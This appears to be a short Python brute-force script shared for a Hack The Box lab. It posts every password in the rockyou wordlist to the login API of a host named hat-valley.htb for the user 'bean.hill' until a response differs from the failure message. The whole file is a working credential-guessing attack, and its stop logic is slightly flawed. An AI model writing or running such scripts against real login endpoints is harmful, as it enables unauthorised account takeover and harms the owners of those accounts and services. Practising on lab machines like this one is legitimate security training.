quick bruteforce script for htb

quickBF4HTB.py

@@ -0,0 +1,33 @@
+from requests import post
+import time
+
+wordlist = "/usr/share/wordlists/rockyou.txt"
+found = False
+pwn = "nope"
+request = "ayy"
+
+def ayy(username, password):
+        endpoint = "http://hat-valley.htb/api/login"
+        headers = ""
+        payload = {
+            "username" : username,
+            "password" : password,
+        }
+        r = post(endpoint, json=payload, headers = headers)
+        print(r.text)
+        return r.text
+
+with open(wordlist,'r') as mariob:
+    while found == False:
+        for passWL in mariob:
+            for pasw in passWL.split():
+                print("[+] testing " + pasw)
+                if ayy("bean.hill", pasw) == "Incorrect username or password":
+                    print(str(found))
+                    time.sleep(.1)
+                else:
+                    pwn = pasw
+                    found = True
+    else:
+        print(pasw)
+        exit()